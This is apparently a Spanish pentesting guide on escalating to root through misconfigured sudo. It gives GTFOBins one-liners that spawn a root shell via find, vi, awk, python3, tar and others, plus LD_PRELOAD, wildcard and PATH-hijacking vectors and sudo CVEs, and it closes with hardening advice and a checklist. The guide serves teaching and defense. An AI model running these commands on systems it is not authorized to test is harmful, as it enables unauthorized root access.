Abuso de sudo
sudo permite a usuarios ejecutar comandos como otro usuario (normalmente root) según reglas en /etc/sudoers. Es la forma legítima de delegar privilegios, pero una configuración demasiado permisiva —un comando que se puede redirigir a una shell, comodines peligrosos, o NOPASSWD de más— convierte sudo en el camino más rápido y fiable a root. Por eso sudo -l es siempre lo primero que se mira en una escalada.
sudo -l: el punto de partida
Sección titulada «sudo -l: el punto de partida»sudo -l # qué comandos puedo ejecutar como root (y si requieren contraseña)Salidas típicas y qué significan:
(root) NOPASSWD: /usr/bin/find # puedo ejecutar find como root SIN contraseña(ALL : ALL) ALL # puedo todo = root directo (sudo su)(root) /usr/bin/vi /etc/x # vi como root -> shell desde viAbusar del comando permitido (GTFOBins)
Sección titulada «Abusar del comando permitido (GTFOBins)»Si puedes ejecutar como root un binario que aparece en GTFOBins en su sección sudo, tienes root:
sudo find . -exec /bin/sh \; -quit # findsudo vi -c ':!/bin/sh' # vi/vimsudo less /etc/profile -> !/bin/sh # less (desde el pager)sudo awk 'BEGIN {system("/bin/sh")}' # awksudo python3 -c 'import os;os.system("/bin/sh")'sudo env /bin/sh # envsudo tar cf /dev/null x --checkpoint=1 --checkpoint-action=exec=/bin/shGTFOBins tiene la receta para decenas de binarios. Si sudo -l muestra uno, búscalo ahí.
Vectores de configuración
Sección titulada «Vectores de configuración»LD_PRELOAD / LD_LIBRARY_PATH (env_keep)
Sección titulada «LD_PRELOAD / LD_LIBRARY_PATH (env_keep)»Si sudoers preserva variables de entorno peligrosas (env_keep += LD_PRELOAD):
# compilas una librería que lanza shell en su constructor y la precargasgcc -shared -fPIC -o /tmp/x.so exploit.csudo LD_PRELOAD=/tmp/x.so <comando_permitido> # -> rootComodines y rutas
Sección titulada «Comodines y rutas»# sudo con comodín: sudo /script/* -> puedes inyectar argumentos/ficheros# sudo sobre un script escribible por ti -> editas el script# sudo sobre un binario que llama a otro sin ruta absoluta -> PATH hijackingSecure_path y ejecución relativa
Sección titulada «Secure_path y ejecución relativa»Si secure_path no está bien y el comando usa binarios por nombre, se puede hacer PATH hijacking.
CVEs de sudo
Sección titulada «CVEs de sudo»Baron Samedit (CVE-2021-3156) heap overflow en sudo -> root sin necesitar reglas especialesCVE-2019-14287 sudo -u#-1 -> ejecutar como root pese a "ALL, !root"# comprobar la versión: sudo --versionBaron Samedit afectó a casi todas las versiones durante años: si el host está sin parchear, es root directo independientemente de sudoers.
Para la defensa
Sección titulada «Para la defensa»- Mínimo privilegio en sudoers: comandos concretos con ruta absoluta, nunca binarios de GTFOBins, sin comodines peligrosos.
- Evitar NOPASSWD salvo lo imprescindible; no preservar
LD_PRELOAD/LD_LIBRARY_PATH(env_reset, noenv_keep). - No dar sudo sobre scripts escribibles ni sobre binarios que invocan otros comandos.
- Parchear sudo (Baron Samedit, CVE-2019-14287);
secure_pathcorrecto. - Logging/auditoría de sudo; usar
sudoediten vez de dar editores completos.
Checklist de prueba
Sección titulada «Checklist de prueba»-
sudo -l→ qué comandos y si NOPASSWD - Cruzar cada comando permitido con GTFOBins (sección sudo)
- LD_PRELOAD/LD_LIBRARY_PATH si env_keep los preserva
- Comodines, scripts escribibles, PATH hijacking
- Versión de sudo → Baron Samedit (CVE-2021-3156), CVE-2019-14287
- Ejecución relativa / secure_path mal configurado
- Obtener shell de root y confirmar (
id) - Blue: ¿sudoers mínimo, parcheado, env_reset?